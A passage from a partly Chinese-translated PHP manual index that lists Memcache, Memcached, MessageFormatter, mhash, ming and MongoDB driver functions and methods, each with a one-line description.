    • Memcache::replace - 替换已经存在的元素的值
    • Memcache::set - Store data at the server
    • Memcache::setCompressThreshold - 开启大值自动压缩
    • Memcache::setServerParams - 运行时修改服务器参数和状态
    • Memcached::add - 向一个新的key下面增加一个元素
    • Memcached::addByKey - 在指定服务器上的一个新的key下增加一个元素
    • Memcached::addServer - 向服务器池中增加一个服务器
    • Memcached::addServers - 向服务器池中增加多台服务器
    • Memcached::append - 向已存在元素后追加数据
    • Memcached::appendByKey - 向指定服务器上已存在元素后追加数据
    • Memcached::cas - 比较并交换值
    • Memcached::casByKey - 在指定服务器上比较并交换值
    • Memcached::decrement - 减小数值元素的值
    • Memcached::decrementByKey - Decrement numeric item's value, stored on a specific server
    • Memcached::delete - 删除一个元素
    • Memcached::deleteByKey - 从指定的服务器删除一个元素
    • Memcached::deleteMulti - Delete multiple items
    • Memcached::deleteMultiByKey - Delete multiple items from a specific server
    • Memcached::fetch - 抓取下一个结果
    • Memcached::fetchAll - 抓取所有剩余的结果
    • Memcached::flush - 作废缓存中的所有元素
    • Memcached::get - 检索一个元素
    • Memcached::getAllKeys - Gets the keys stored on all the servers
    • Memcached::getByKey - 从特定的服务器检索元素
    • Memcached::getDelayed - 请求多个元素
    • Memcached::getDelayedByKey - 从指定的服务器上请求多个元素
    • Memcached::getMulti - 检索多个元素
    • Memcached::getMultiByKey - 从特定服务器检索多个元素
    • Memcached::getOption - 获取Memcached的选项值
    • Memcached::getResultCode - 返回最后一次操作的结果代码
    • Memcached::getResultMessage - 返回最后一次操作的结果描述消息
    • Memcached::getServerByKey - 获取一个key所映射的服务器信息
    • Memcached::getServerList - 获取服务器池中的服务器列表
    • Memcached::getStats - 获取服务器池的统计信息
    • Memcached::getVersion - 获取服务器池中所有服务器的版本信息
    • Memcached::increment - 增加数值元素的值
    • Memcached::incrementByKey - Increment numeric item's value, stored on a specific server
    • Memcached::isPersistent - Check if a persitent connection to memcache is being used
    • Memcached::isPristine - Check if the instance was recently created
    • Memcached::prepend - 向一个已存在的元素前面追加数据
    • Memcached::prependByKey - Prepend data to an existing item on a specific server
    • Memcached::quit - 关闭所有打开的链接。
    • Memcached::replace - 替换已存在key下的元素
    • Memcached::replaceByKey - Replace the item under an existing key on a specific server
    • Memcached::resetServerList - Clears all servers from the server list
    • Memcached::set - 存储一个元素
    • Memcached::setByKey - Store an item on a specific server
    • Memcached::setMulti - 存储多个元素
    • Memcached::setMultiByKey - Store multiple items on a specific server
    • Memcached::setOption - 设置一个memcached选项
    • Memcached::setOptions - Set Memcached options
    • Memcached::setSaslAuthData - Set the credentials to use for authentication
    • Memcached::touch - Set a new expiration on an item
    • Memcached::touchByKey - Set a new expiration on an item on a specific server
    • Memcached::__construct - 创建一个Memcached实例
    • memcache_debug - 转换调试输出的开/关
    • memory_get_peak_usage - 返回分配给 PHP 内存的峰值
    • memory_get_usage - 返回分配给 PHP 的内存量
    • MessageFormatter::create - Constructs a new Message Formatter
    • MessageFormatter::format - Format the message
    • MessageFormatter::formatMessage - Quick format message
    • MessageFormatter::getErrorCode - Get the error code from last operation
    • MessageFormatter::getErrorMessage - Get the error text from the last operation
    • MessageFormatter::getLocale - Get the locale for which the formatter was created
    • MessageFormatter::getPattern - Get the pattern used by the formatter
    • MessageFormatter::parse - Parse input string according to pattern
    • MessageFormatter::parseMessage - Quick parse input string
    • MessageFormatter::setPattern - Set the pattern used by the formatter
    • metaphone - Calculate the metaphone key of a string
    • method_exists - 检查类的方法是否存在
    • mhash - Computes hash
    • mhash_count - Gets the highest available hash ID
    • mhash_get_block_size - Gets the block size of the specified hash
    • mhash_get_hash_name - Gets the name of the specified hash
    • mhash_keygen_s2k - Generates a key
    • microtime - 返回当前 Unix 时间戳和微秒数
    • mime_content_type - 检测文件的 MIME 类型
    • min - 找出最小值
    • ming_keypress - Returns the action flag for keyPress(char)
    • ming_setcubicthreshold - Set cubic threshold
    • ming_setscale - Set the global scaling factor
    • ming_setswfcompression - Sets the SWF output compression
    • ming_useconstants - Use constant pool
    • ming_useswfversion - Sets the SWF version
    • mkdir - 新建目录
    • mktime - 取得一个日期的 Unix 时间戳
    • money_format - 将数字格式化成货币字符串
    • Mongo::connectUtil - Connects with a database server
    • Mongo::getPoolSize - Get pool size for connection pools
    • Mongo::getSlave - Returns the address being used by this for slaveOkay reads
    • Mongo::getSlaveOkay - Get slaveOkay setting for this connection
    • Mongo::poolDebug - Returns information about all connection pools
    • Mongo::setPoolSize - Set the size for future connection pools
    • Mongo::setSlaveOkay - Change slaveOkay setting for this connection
    • Mongo::switchSlave - Choose a new secondary for slaveOkay reads
    • Mongo::__construct - The __construct purpose
    • MongoBinData::__construct - 创建一个新的二进制数据对象
    • MongoBinData::__toString - 二进制数据对象的字符串表达形式。
    • MongoClient::close - 关闭连接
    • MongoClient::connect - 连接到数据库服务器
    • MongoClient::dropDB - 删除一个数据库 [已废弃]
    • MongoClient::getConnections - 返回所有已打开连接的信息
    • MongoClient::getHosts - 更新所有关联主机的状态信息
    • MongoClient::getReadPreference - 获取此连接的读取首选项
    • MongoClient::getWriteConcern - Get the write concern for this connection
    • MongoClient::killCursor - Kills a specific cursor on the server
    • MongoClient::listDBs - 列出所有有效数据库
    • MongoClient::selectCollection - 获取数据库的文档集
    • MongoClient::selectDB - 获取一个数据库
    • MongoClient::setReadPreference - 为该连接设置读取选项
    • MongoClient::setWriteConcern - Set the write concern for this connection
    • MongoClient::__construct - 创建一个新的数据库连接对象
    • MongoClient::__get - 取得一个数据库
    • MongoClient::__toString - 该连接的字符串表达方式
    • MongoCode::__construct - 创建一个新的代码对象
    • MongoCode::__toString - 返回代码的字符串形式
    • MongoCollection::aggregate - Perform an aggregation using the aggregation framework
    • MongoCollection::aggregateCursor - Execute an aggregation pipeline command and retrieve results through a cursor
    • MongoCollection::batchInsert - Inserts multiple documents into this collection
    • MongoCollection::count - 返回集合中的文档数量
    • MongoCollection::createDBRef - 创建一个数据库引用
    • MongoCollection::createIndex - Creates an index on the specified field(s) if it does not already exist
    • MongoCollection::deleteIndex - Deletes an index from this collection
    • MongoCollection::deleteIndexes - 删除集合的所有索引
    • MongoCollection::distinct - 获取集合里指定键的不同值的列表。
    • MongoCollection::drop - 删除该集合
    • MongoCollection::ensureIndex - Creates an index on the specified field(s) if it does not already exist
    • MongoCollection::find - 查询该集合，并返回结果集的 MongoCursor
    • MongoCollection::findAndModify - Update a document and return it
    • MongoCollection::findOne - Queries this collection, returning a single element
    • MongoCollection::getDBRef - Fetches the document pointed to by a database reference
    • MongoCollection::getIndexInfo - Returns information about indexes on this collection
    • MongoCollection::getName - 返回这个集合的名称
    • MongoCollection::getReadPreference - Get the read preference for this collection
    • MongoCollection::getSlaveOkay - Get slaveOkay setting for this collection
    • MongoCollection::getWriteConcern - Get the write concern for this collection
    • MongoCollection::group - Performs an operation similar to SQL's GROUP BY command
    • MongoCollection::insert - 插入文档到集合中
    • MongoCollection::parallelCollectionScan - Returns an array of cursors to iterator over a full collection in parallel
    • MongoCollection::remove - 从集合中删除记录
    • MongoCollection::save - 保存一个文档到集合
    • MongoCollection::setReadPreference - Set the read preference for this collection
    • MongoCollection::setSlaveOkay - Change slaveOkay setting for this collection
    • MongoCollection::setWriteConcern - Set the write concern for this database
    • MongoCollection::toIndexString - Converts keys specifying an index to its identifying string
    • MongoCollection::update - Update records based on a given criteria
    • MongoCollection::validate - Validates this collection
    • MongoCollection::__construct - 创建一个新的集合
    • MongoCollection::__get - Gets a collection
    • MongoCollection::__toString - String representation of this collection
    • MongoCommandCursor::batchSize - Limits the number of elements returned in one batch
    • MongoCommandCursor::createFromDocument - Create a new command cursor from an existing command response document
    • MongoCommandCursor::current - Returns the current element
    • MongoCommandCursor::dead - Checks if there are results that have not yet been sent from the database
    • MongoCommandCursor::getReadPreference - Get the read preference for this command
    • MongoCommandCursor::info - Gets information about the cursor's creation and iteration
    • MongoCommandCursor::key - Returns the current result's index within the result set
    • MongoCommandCursor::next - Advances the cursor to the next result
    • MongoCommandCursor::rewind - Executes the command and resets the cursor to the start of the result set
    • MongoCommandCursor::setReadPreference - Set the read preference for this command
    • MongoCommandCursor::timeout - Sets a client-side timeout for this command
    • MongoCommandCursor::valid - Checks if the cursor is reading a valid result
    • MongoCommandCursor::__construct - Create a new command cursor
    • MongoCursor::addOption - Adds a top-level key/value pair to a query
    • MongoCursor::awaitData - Sets whether this cursor will wait for a while for a tailable cursor to return more data
    • MongoCursor::batchSize - Limits the number of elements returned in one batch
    • MongoCursor::count - Counts the number of results for this query
    • MongoCursor::current - Returns the current element
    • MongoCursor::dead - Checks if there are results that have not yet been sent from the database
    • MongoCursor::doQuery - Execute the query
    • MongoCursor::explain - Return an explanation of the query, often useful for optimization and debugging
    • MongoCursor::fields - Sets the fields for a query
    • MongoCursor::getNext - Advances the cursor to the next result, and returns that result
    • MongoCursor::getReadPreference - Get the read preference for this query
    • MongoCursor::hasNext - Checks if there are any more elements in this cursor
    • MongoCursor::hint - Gives the database a hint about the query
    • MongoCursor::immortal - Sets whether this cursor will timeout
    • MongoCursor::info - Gets information about the cursor's creation and iteration
    • MongoCursor::key - Returns the current result's _id, or its index within the result set
    • MongoCursor::limit - Limits the number of results returned
    • MongoCursor::maxTimeMS - Sets a server-side timeout for this query
    • MongoCursor::next - Advances the cursor to the next result, and returns that result
    • MongoCursor::partial - If this query should fetch partial results from mongos if a shard is down
    • MongoCursor::reset - Clears the cursor
    • MongoCursor::rewind - Returns the cursor to the beginning of the result set
    • MongoCursor::setFlag - Sets arbitrary flags in case there is no method available the specific flag
    • MongoCursor::setReadPreference - Set the read preference for this query
    • MongoCursor::skip - Skips a number of results
    • MongoCursor::slaveOkay - Sets whether this query can be done on a secondary [deprecated]
    • MongoCursor::snapshot - Use snapshot mode for the query
    • MongoCursor::sort - Sorts the results by given fields
    • MongoCursor::tailable - Sets whether this cursor will be left open after fetching the last results
    • MongoCursor::timeout - Sets a client-side timeout for this query
    • MongoCursor::valid - Checks if the cursor is reading a valid result
    • MongoCursor::__construct - Create a new cursor
    • MongoCursorException::getHost - 遇到该错误的服务器的 hostname
    • MongoCursorInterface::batchSize - Limits the number of elements returned in one batch
    • MongoCursorInterface::dead - Checks if there are results that have not yet been sent from the database
    • MongoCursorInterface::getReadPreference - Get the read preference for this query
    • MongoCursorInterface::info - Gets information about the cursor's creation and iteration
    • MongoCursorInterface::setReadPreference - Set the read preference for this query
    • MongoCursorInterface::timeout - Sets a client-side timeout for this query
    • MongoDate::toDateTime - Returns a DateTime object representing this date
    • MongoDate::__construct - 创建一个新的日期。
    • MongoDate::__toString - 返回该日期的字符串形式的表达
    • MongoDB::authenticate - 登录到数据库
    • MongoDB::command - 执行一条 Mongo 指令
    • MongoDB::createCollection - 创建一个集合
    • MongoDB::createDBRef - 创建数据库引用
    • MongoDB::drop - 删除数据库
    • MongoDB::dropCollection - Drops a collection [deprecated]
    • MongoDB::execute - 在数据库服务器上运行JavaScript
    • MongoDB::forceError - Creates a database error
    • MongoDB::getCollectionInfo - Returns information about collections in this database
    • MongoDB::getCollectionNames - Gets an array of names for all collections in this database
    • MongoDB::getDBRef - Fetches the document pointed to by a database reference
    • MongoDB::getGridFS - Fetches toolkit for dealing with files stored in this database
    • MongoDB::getProfilingLevel - Gets this database's profiling level
    • MongoDB::getReadPreference - Get the read preference for this database
    • MongoDB::getSlaveOkay - Get slaveOkay setting for this database
    • MongoDB::getWriteConcern - Get the write concern for this database
    • MongoDB::lastError - Check if there was an error on the most recent db operation performed
    • MongoDB::listCollections - Gets an array of MongoCollection objects for all collections in this database
    • MongoDB::prevError - Checks for the last error thrown during a database operation
    • MongoDB::repair - Repairs and compacts this database
    • MongoDB::resetError - Clears any flagged errors on the database
    • MongoDB::selectCollection - Gets a collection
    • MongoDB::setProfilingLevel - Sets this database's profiling level
    • MongoDB::setReadPreference - Set the read preference for this database
    • MongoDB::setSlaveOkay - Change slaveOkay setting for this database
    • MongoDB::setWriteConcern - Set the write concern for this database
    • MongoDB::__construct - 选择一个数据库
    • MongoDB::__get - Gets a collection
    • MongoDB::__toString - The name of this database
    • MongoDB context options - MongoDB context option listing
    • MongoDBRef::create - 创建一个新的数据库引用
    • MongoDBRef::get - 获取引用所指向的对象
    • MongoDBRef::isRef - 检测数组是否为数据库引用
    • MongoDB\BSON\Binary::getData - Returns the Binary's data
    • MongoDB\BSON\Binary::getType - Returns the Binary's type
    • MongoDB\BSON\Binary::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Binary::serialize - Serialize a Binary
    • MongoDB\BSON\Binary::unserialize - Unserialize a Binary
    • MongoDB\BSON\Binary::__construct - Construct a new Binary
    • MongoDB\BSON\Binary::__toString - Returns the Binary's data
    • MongoDB\BSON\BinaryInterface::getData - Returns the BinaryInterface's data
    • MongoDB\BSON\BinaryInterface::getType - Returns the BinaryInterface's type
    • MongoDB\BSON\BinaryInterface::__toString - Returns the BinaryInterface's data
    • MongoDB\BSON\DBPointer::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\DBPointer::serialize - Serialize a DBPointer
    • MongoDB\BSON\DBPointer::unserialize - Unserialize a DBPointer
    • MongoDB\BSON\DBPointer::__construct - Construct a new DBPointer (unused)
    • MongoDB\BSON\DBPointer::__toString - Returns an empty string
    • MongoDB\BSON\Decimal128::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Decimal128::serialize - Serialize a Decimal128
    • MongoDB\BSON\Decimal128::unserialize - Unserialize a Decimal128
    • MongoDB\BSON\Decimal128::__construct - Construct a new Decimal128
    • MongoDB\BSON\Decimal128::__toString - Returns the string representation of this Decimal128
    • MongoDB\BSON\Decimal128Interface::__toString - Returns the string representation of this Decimal128Interface
    • MongoDB\BSON\fromJSON - Returns the BSON representation of a JSON value
    • MongoDB\BSON\fromPHP - Returns the BSON representation of a PHP value
    • MongoDB\BSON\Int64::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Int64::serialize - Serialize an Int64
    • MongoDB\BSON\Int64::unserialize - Unserialize an Int64
    • MongoDB\BSON\Int64::__construct - Construct a new Int64 (unused)
    • MongoDB\BSON\Int64::__toString - Returns the string representation of this Int64
    • MongoDB\BSON\Javascript::getCode - Returns the Javascript's code
    • MongoDB\BSON\Javascript::getScope - Returns the Javascript's scope document
    • MongoDB\BSON\Javascript::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Javascript::serialize - Serialize a Javascript
    • MongoDB\BSON\Javascript::unserialize - Unserialize a Javascript
    • MongoDB\BSON\Javascript::__construct - Construct a new Javascript
    • MongoDB\BSON\Javascript::__toString - Returns the Javascript's code
    • MongoDB\BSON\JavascriptInterface::getCode - Returns the JavascriptInterface's code
    • MongoDB\BSON\JavascriptInterface::getScope - Returns the JavascriptInterface's scope document
    • MongoDB\BSON\JavascriptInterface::__toString - Returns the JavascriptInterface's code
    • MongoDB\BSON\MaxKey::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\MaxKey::serialize - Serialize a MaxKey
    • MongoDB\BSON\MaxKey::unserialize - Unserialize a MaxKey
    • MongoDB\BSON\MaxKey::__construct - Construct a new MaxKey
    • MongoDB\BSON\MinKey::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\MinKey::serialize - Serialize a MinKey
    • MongoDB\BSON\MinKey::unserialize - Unserialize a MinKey
    • MongoDB\BSON\MinKey::__construct - Construct a new MinKey
    • MongoDB\BSON\ObjectId::getTimestamp - Returns the timestamp component of this ObjectId
    • MongoDB\BSON\ObjectId::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\ObjectId::serialize - Serialize an ObjectId
    • MongoDB\BSON\ObjectId::unserialize - Unserialize an ObjectId
    • MongoDB\BSON\ObjectId::__construct - Construct a new ObjectId
    • MongoDB\BSON\ObjectId::__toString - Returns the hexidecimal representation of this ObjectId
    • MongoDB\BSON\ObjectIdInterface::getTimestamp - Returns the timestamp component of this ObjectIdInterface
    • MongoDB\BSON\ObjectIdInterface::__toString - Returns the hexidecimal representation of this ObjectIdInterface
    • MongoDB\BSON\Regex::getFlags - Returns the Regex's flags
    • MongoDB\BSON\Regex::getPattern - Returns the Regex's pattern
    • MongoDB\BSON\Regex::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Regex::serialize - Serialize a Regex
    • MongoDB\BSON\Regex::unserialize - Unserialize a Regex
    • MongoDB\BSON\Regex::__construct - Construct a new Regex
    • MongoDB\BSON\Regex::__toString - Returns the string representation of this Regex
    • MongoDB\BSON\RegexInterface::getFlags - Returns the RegexInterface's flags
    • MongoDB\BSON\RegexInterface::getPattern - Returns the RegexInterface's pattern
    • MongoDB\BSON\RegexInterface::__toString - Returns the string representation of this RegexInterface
    • MongoDB\BSON\Serializable::bsonSerialize - Provides an array or document to serialize as BSON
    • MongoDB\BSON\Symbol::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Symbol::serialize - Serialize a Symbol
    • MongoDB\BSON\Symbol::unserialize - Unserialize a Symbol
    • MongoDB\BSON\Symbol::__construct - Construct a new Symbol (unused)
    • MongoDB\BSON\Symbol::__toString - Returns the Symbol as a string
    • MongoDB\BSON\Timestamp::getIncrement - Returns the increment component of this Timestamp
    • MongoDB\BSON\Timestamp::getTimestamp - Returns the timestamp component of this Timestamp
    • MongoDB\BSON\Timestamp::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Timestamp::serialize - Serialize a Timestamp
    • MongoDB\BSON\Timestamp::unserialize - Unserialize a Timestamp
    • MongoDB\BSON\Timestamp::__construct - Construct a new Timestamp
    • MongoDB\BSON\Timestamp::__toString - Returns the string representation of this Timestamp
    • MongoDB\BSON\TimestampInterface::getIncrement - Returns the increment component of this TimestampInterface
    • MongoDB\BSON\TimestampInterface::getTimestamp - Returns the timestamp component of this TimestampInterface
    • MongoDB\BSON\TimestampInterface::__toString - Returns the string representation of this TimestampInterface
    • MongoDB\BSON\toCanonicalExtendedJSON - Returns the Canonical Extended JSON representation of a BSON value
    • MongoDB\BSON\toJSON - Returns the Legacy Extended JSON representation of a BSON value
    • MongoDB\BSON\toPHP - Returns the PHP representation of a BSON value
    • MongoDB\BSON\toRelaxedExtendedJSON - Returns the Relaxed Extended JSON representation of a BSON value
    • MongoDB\BSON\Undefined::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\Undefined::serialize - Serialize a Undefined
    • MongoDB\BSON\Undefined::unserialize - Unserialize a Undefined
    • MongoDB\BSON\Undefined::__construct - Construct a new Undefined (unused)
    • MongoDB\BSON\Undefined::__toString - Returns an empty string
    • MongoDB\BSON\Unserializable::bsonUnserialize - Constructs the object from a BSON array or document
    • MongoDB\BSON\UTCDateTime::jsonSerialize - Returns a representation that can be converted to JSON
    • MongoDB\BSON\UTCDateTime::serialize - Serialize a UTCDateTime
    • MongoDB\BSON\UTCDateTime::toDateTime - Returns the DateTime representation of this UTCDateTime
    • MongoDB\BSON\UTCDateTime::unserialize - Unserialize a UTCDateTime
    • MongoDB\BSON\UTCDateTime::__construct - Construct a new UTCDateTime
    • MongoDB\BSON\UTCDateTime::__toString - Returns the string representation of this UTCDateTime
    • MongoDB\BSON\UTCDateTimeInterface::toDateTime - Returns the DateTime representation of this UTCDateTimeInterface
    • MongoDB\BSON\UTCDateTimeInterface::__toString - Returns the string representation of this UTCDateTimeInterface
    • MongoDB\Driver\BulkWrite::count - Count number of write operations in the bulk
    • MongoDB\Driver\BulkWrite::delete - Add a delete operation to the bulk
    • MongoDB\Driver\BulkWrite::insert - Add an insert operation to the bulk
    • MongoDB\Driver\BulkWrite::update - Add an update operation to the bulk
    • MongoDB\Driver\BulkWrite::__construct - Create a new BulkWrite
    • MongoDB\Driver\Command::__construct - Create a new Command
    • MongoDB\Driver\Cursor::getId - Returns the ID for this cursor
    • MongoDB\Driver\Cursor::getServer - Returns the server associated with this cursor
    • MongoDB\Driver\Cursor::isDead - Checks if the cursor may have additional results
    • MongoDB\Driver\Cursor::setTypeMap - Sets a type map to use for BSON unserialization
    • MongoDB\Driver\Cursor::toArray - Returns an array containing all results for this cursor
    • MongoDB\Driver\Cursor::__construct - Create a new Cursor (not used)
    • MongoDB\Driver\CursorId::__construct - Create a new CursorId (not used)
    • MongoDB\Driver\CursorId::__toString - String representation of the cursor ID
    • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel - Returns whether an error label is associated with an exception
    • MongoDB\Driver\Exception\WriteException::getWriteResult - Returns the WriteResult for the failed write operation
    • MongoDB\Driver\Manager::executeBulkWrite - Execute one or more write operations
    • MongoDB\Driver\Manager::executeCommand - Execute a database command
    • MongoDB\Driver\Manager::executeQuery - Execute a database query
    • MongoDB\Driver\Manager::executeReadCommand - Execute a database command that reads
    • MongoDB\Driver\Manager::executeReadWriteCommand - Execute a database command that reads and writes
    • MongoDB\Driver\Manager::executeWriteCommand - Execute a database command that writes
    • MongoDB\Driver\Manager::getReadConcern - Return the ReadConcern for the Manager
    • MongoDB\Driver\Manager::getReadPreference - Return the ReadPreference for the Manager
    • MongoDB\Driver\Manager::getServers - Return the servers to which this manager is connected
    • MongoDB\Driver\Manager::getWriteConcern - Return the WriteConcern for the Manager
    • MongoDB\Driver\Manager::selectServer - Select a server matching a read preference
    • MongoDB\Driver\Manager::startSession - Start a new client session for use with this client
    • MongoDB\Driver\Manager::__construct - Create new MongoDB Manager
    • MongoDB\Driver\Monitoring\addSubscriber - Registers a new monitoring event subscriber
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName - Returns the command name
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros - Returns the command's duration in microseconds
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getError - Returns the Exception associated with the failed command
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId - Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply - Returns the command reply document
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId - Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer - Returns the Server on which the command was executed
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand - Returns the command document
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName - Returns the command name
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName - Returns the database on which the command was executed
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId - Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId - Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer - Returns the Server on which the command was executed
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed - Notification method for a failed command
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted - Notification method for a started command
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded - Notification method for a successful command
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName - Returns the command name
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros - Returns the command's duration in microseconds
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId - Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply - Returns the command reply document
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId - Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer - Returns the Server on which the command was executed
    • MongoDB\Driver\Monitoring\removeSubscriber - Unregisters an existing monitoring event subscriber
    • MongoDB\Driver\Query::__construct - Create a new Query
    • MongoDB\Driver\ReadConcern::bsonSerialize - Returns an object for BSON serialization
    • MongoDB\Driver\ReadConcern::getLevel - Returns the ReadConcern's "level" option
    • MongoDB\Driver\ReadConcern::isDefault - Checks if this is the default read concern
    • MongoDB\Driver\ReadConcern::__construct - Create a new ReadConcern
    • MongoDB\Driver\ReadPreference::bsonSerialize - Returns an object for BSON serialization
    • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds - Returns the ReadPreference's "maxStalenessSeconds" option
    • MongoDB\Driver\ReadPreference::getMode - Returns the ReadPreference's "mode" option
    • MongoDB\Driver\ReadPreference::getTagSets - Returns the ReadPreference's "tagSets" option
    • MongoDB\Driver\ReadPreference::__construct - Create a new ReadPreference
    • MongoDB\Driver\Server::executeBulkWrite - Execute one or more write operations on this server
    • MongoDB\Driver\Server::executeCommand - Execute a database command on this server
    • MongoDB\Driver\Server::executeQuery - Execute a database query on this server
    • MongoDB\Driver\Server::executeReadCommand - Execute a database command that reads on this server
    • MongoDB\Driver\Server::executeReadWriteCommand - Execute a database command that reads and writes on this server
    • MongoDB\Driver\Server::executeWriteCommand - Execute a database command that writes on this server
    • MongoDB\Driver\Server::getHost - Returns the hostname of this server
    • MongoDB\Driver\Server::getInfo - Returns an array of information about this server
    • MongoDB\Driver\Server::getLatency - Returns the latency of this server
    • MongoDB\Driver\Server::getPort - Returns the port on which this server is listening
    • MongoDB\Driver\Server::getTags - Returns an array of tags describing this server in a replica set
    • MongoDB\Driver\Server::getType - Returns an integer denoting the type of this server
    • MongoDB\Driver\Server::isArbiter - Checks if this server is an arbiter member of a replica set
    • MongoDB\Driver\Server::isHidden - Checks if this server is a hidden member of a replica set
    • MongoDB\Driver\Server::isPassive - Checks if this server is a passive member of a replica set
    • MongoDB\Driver\Server::isPrimary - Checks if this server is a primary member of a replica set
    • MongoDB\Driver\Server::isSecondary - Checks if this server is a secondary member of a replica set
    • MongoDB\Driver\Server::__construct - Create a new Server (not used)
    • MongoDB\Driver\WriteConcern::bsonSerialize - Returns an object for BSON serialization
    • MongoDB\Driver\WriteConcern::getJournal - Returns the WriteConcern's "journal" option
    • MongoDB\Driver\WriteConcern::getW - Returns the WriteConcern's "w" option
    • MongoDB\Driver\WriteConcern::getWtimeout - Returns the WriteConcern's "wtimeout" option
    • MongoDB\Driver\WriteConcern::isDefault - Checks if this is the default write concern
    • MongoDB\Driver\WriteConcern::__construct - Create a new WriteConcern
    • MongoDB\Driver\WriteConcernError::getCode - Returns the WriteConcernError's error code
    • MongoDB\Driver\WriteConcernError::getInfo - Returns additional metadata for the WriteConcernError
    • MongoDB\Driver\WriteConcernError::getMessage - Returns the WriteConcernError's error message
    • MongoDB\Driver\WriteError::getCode - Returns the WriteError's error code
    • MongoDB\Driver\WriteError::getIndex - Returns the index of the write operation corresponding to this WriteError
    • MongoDB\Driver\WriteError::getInfo - Returns additional metadata for the WriteError
    • MongoDB\Driver\WriteError::getMessage - Returns the WriteError's error message
    • MongoDB\Driver\WriteResult::getDeletedCount - Returns the number of documents deleted
    • MongoDB\Driver\WriteResult::getInsertedCount - Returns the number of documents inserted (excluding upserts)
    • MongoDB\Driver\WriteResult::getMatchedCount - Returns the number of documents selected for update
    • MongoDB\Driver\WriteResult::getModifiedCount - Returns the number of existing documents updated
    • MongoDB\Driver\WriteResult::getServer - Returns the server associated with this write result
    • MongoDB\Driver\WriteResult::getUpsertedCount - Returns the number of documents inserted by an upsert
    • MongoDB\Driver\WriteResult::getUpsertedIds - Returns an array of identifiers for upserted documents
    • MongoDB\Driver\WriteResult::getWriteConcernError - Returns any write concern error that occurred
    • MongoDB\Driver\WriteResult::getWriteErrors - Returns any write errors that occurred
    • MongoDB\Driver\WriteResult::isAcknowledged - Returns whether the write was acknowledged
    • MongoGridFS::delete - Remove a file and its chunks from the database
    • MongoGridFS::drop - Drops the files and chunks collections
    • MongoGridFS::find - Queries for files
    • MongoGridFS::findOne - Returns a single file matching the criteria
    • MongoGridFS::get - Retrieve a file from the database
    • MongoGridFS::put - Stores a file in the database
    • MongoGridFS::remove - Remove files and their chunks from the database
    • MongoGridFS::storeBytes - Stores a string of bytes in the database
    • MongoGridFS::storeFile - Stores a file in the database
    • MongoGridFS::storeUpload - Stores an uploaded file in the database
    • MongoGridFS::__construct - Creates new file collections
    • MongoGridFSCursor::current - Returns the current file
    • MongoGridFSCursor::getNext - Return the next file to which this cursor points, and advance the cursor
    • MongoGridFSCursor::key - Returns the current result's filename
    • MongoGridFSCursor::__construct - Create a new cursor
    • MongoGridFSFile::getBytes - Returns this file's contents as a string of bytes
    • MongoGridFSFile::getFilename - Returns this file's filename
    • MongoGridFSFile::getResource - Returns a resource that can be used to read the stored file
    • MongoGridFSFile::getSize - Returns this file's size
    • MongoGridFSFile::write - Writes this file to the filesystem
    • MongoGridfsFile::__construct - Create a new GridFS file
    • MongoId::getHostname - 获取这台机器上 id 所使用的 hostname
    • MongoId::getInc - 返回用于创建 id 所增加的值
    • MongoId::getPID - 获取进程 ID
    • MongoId::getTimestamp - 获取新纪元时间到 id 创建时的秒数。
    • MongoId::isValid - Check if a value is a valid ObjectId
    • MongoId::__construct - 创建一个新的id
    • MongoId::__set_state - 创建一个假的 MongoId
    • MongoId::__toString - 返回该 id 十六进制的表示形式
    • MongoInt32::__construct - 创建一个新的 32位 integer。
    • MongoInt32::__toString - 返回该 32 位 integer 的字符串表示。
    • MongoInt64::__construct - 创建一个新的 64 位 integer。
    • MongoInt64::__toString - 返回该 64 位 integer 的字符串表示形式。
    • MongoLog::getCallback - Gets the previously set callback function
    • MongoLog::getLevel - Gets the level(s) currently being logged
    • MongoLog::getModule - Gets the module(s) currently being logged
    • MongoLog::setCallback - Sets a callback function to be invoked for events
    • MongoLog::setLevel - Sets the level(s) to be logged
    • MongoLog::setModule - Sets the module(s) to be logged
    • MongoPool::getSize - Get pool size for connection pools
    • MongoPool::info - Returns information about all connection pools
    • MongoPool::setSize - Set the size for future connection pools
    • MongoRegex::__construct - 创建一个新的正则表达式
    • MongoRegex::__toString - 正则表达式的字符串表达形式
    • MongoResultException::getDocument - 获取完整的结果文档
